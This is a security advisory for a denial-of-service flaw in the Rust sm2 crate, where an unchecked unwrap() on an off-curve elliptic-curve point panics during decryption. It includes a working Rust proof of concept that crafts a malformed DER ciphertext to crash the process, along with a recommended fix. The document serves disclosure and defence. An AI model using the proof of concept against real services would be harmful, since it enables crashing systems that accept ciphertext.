Summary

A denial-of-service vulnerability exists in the SM2 PKE decryption path where an invalid elliptic-curve point (C1) is decoded and the resulting value is unwrapped without checking. Specifically, AffinePoint::from_encoded_point(&encoded_c1) may return a None/CtOption::None when the supplied coordinates are syntactically valid but do not lie on the SM2 curve. The calling code previously used .unwrap(), causing a panic when presented with such input.

Affected Component / Versions

• File: src/pke/decrypting.rs

• Function: internal decrypt() (invoked by DecryptingKey::decrypt* methods)

• Affected releases:

  • sm2 0.14.0-rc.0 (https://crates.io/crates/sm2/0.14.0-rc.0)
  • sm2 0.14.0-pre.0 (https://crates.io/crates/sm2/0.14.0-pre.0)

Details

The library decodes the C1 field (an EC point) as an EncodedPoint and then converts it to an AffinePoint using AffinePoint::from_encoded_point(&encoded_c1). That conversion returns a CtOption<AffinePoint> (or an Option equivalent) which will indicate failure when the coordinates do not satisfy the curve equation. The code then called .unwrap() on that result, causing a panic when
None was returned. Because EncodedPoint::from_bytes() only validates format (length and SEC1
encoding) and not mathematical validity, an attacker can craft C1 = 0x04 || X || Y with X and Y of the right length that nonetheless do not satisfy the curve. Such inputs will pass the format check but trigger from_encoded_point() failure and therefore panic on .unwrap().

Proof of Concept (PoC)

examples/poc_der_invalid_point.rs constructs an ASN.1 DER Cipher structure
with x and y set to arbitrary 32-byte values (e.g., repeating 0x11 and 0x22),
and passes it to DecryptingKey::decrypt_der. With the vulnerable code, this
produces a panic originating at the unwrap() call in decrypt(). Other APIs such as DecryptingKey::decrypt also produce a panic with invalid C1 point.

//! PoC: trigger invalid-point panic via `decrypt_der` by providing ASN.1 DER
//! where x/y are valid-length integers but do not lie on the curve.
//!
//! Usage:
//!   RUST_BACKTRACE=1 cargo run --example poc_der_invalid_point

use rand_core::OsRng;
use sm2::SecretKey;
use sm2::pke::DecryptingKey;

fn build_der(x: &[u8], y: &[u8], digest: &[u8], cipher: &[u8]) -> Vec<u8> {
    // Build SEQUENCE { INTEGER x, INTEGER y, OCTET STRING digest, OCTET STRING cipher }
    let mut body = Vec::new();

    // INTEGER x
    body.push(0x02);
    body.push(x.len() as u8);
    body.extend_from_slice(x);

    // INTEGER y
    body.push(0x02);
    body.push(y.len() as u8);
    body.extend_from_slice(y);

    // OCTET STRING digest
    body.push(0x04);
    body.push(digest.len() as u8);
    body.extend_from_slice(digest);

    // OCTET STRING cipher
    body.push(0x04);
    body.push(cipher.len() as u8);
    body.extend_from_slice(cipher);

    // SEQUENCE header
    let mut der = Vec::new();
    der.push(0x30);
    der.push(body.len() as u8);
    der.extend(body);
    der
}

fn main() {
    let mut rng = OsRng;
    let sk = SecretKey::try_from_rng(&mut rng).expect("failed to generate secret key");
    let dk = DecryptingKey::new(sk);

    // x/y are 32-byte values that almost certainly are NOT on the curve
    let x = [0x11u8; 32];
    let y = [0x22u8; 32];
    let digest = [0x33u8; 32];
    let cipher = [0x44u8; 16];

    let der = build_der(&x, &y, &digest, &cipher);

    println!("Calling decrypt_der with DER (len={})...", der.len());

    // Expected to panic in decrypt() when validating the point (from_encoded_point().unwrap())
    let _ = dk.decrypt_der(&der);

    println!("decrypt_der returned (unexpected) - PoC did not panic");
}

Run locally:

RUST_BACKTRACE=1 cargo run --example poc_der_invalid_point --features std

The process will panic with a backtrace pointing to src/pke/decrypting.rs at the from_encoded_point(...).unwrap() call.

Impact

• Denial of Service: an attacker who can submit ciphertext (or DER ciphertext)
  can crash the decrypting thread/process.
• Low attacker effort: crafting random 32-byte X/Y values that are not on the
  curve is trivial.
• Wide exposure: any service that accepts ciphertext and links this library is
  vulnerable.

Recommended Fix

Do not call .unwrap() on the result of AffinePoint::from_encoded_point().
Instead, convert the CtOption to an Option (or inspect it) and return a
library Err for invalid points. Example minimal fix:

    // Return an error instead of panicking when the provided point is not on the curve.
    let mut c1_point: AffinePoint = match AffinePoint::from_encoded_point(&encoded_c1).into() {
        Some(p) => p,
        None => return Err(Error),
    };

This ensures decrypt() returns a controlled error for invalid or malformed points instead of panicking.

Credit

This vulnerability was discovered by:

• XlabAI Team of Tencent Xuanwu Lab

• Atuin Automated Vulnerability Discovery Engine

CVE and credit are preferred.

If developers have any questions regarding the vulnerability details, please feel free to reach for further discussion via email at [email protected].

Note

This organization follows the security industry standard disclosure policy—the 90+30 policy (reference: https://googleprojectzero.blogspot.com/p/vulnerability-disclosure-policy.html). If the aforementioned vulnerabilities cannot be fixed within 90 days of submission, we reserve the right to publicly disclose all information about the issues after this timeframe.

References

• GHSA-78p6-6878-8mj6
• RustCrypto/elliptic-curves#1602
• RustCrypto/elliptic-curves@085b7be
• https://nvd.nist.gov/vuln/detail/CVE-2026-22699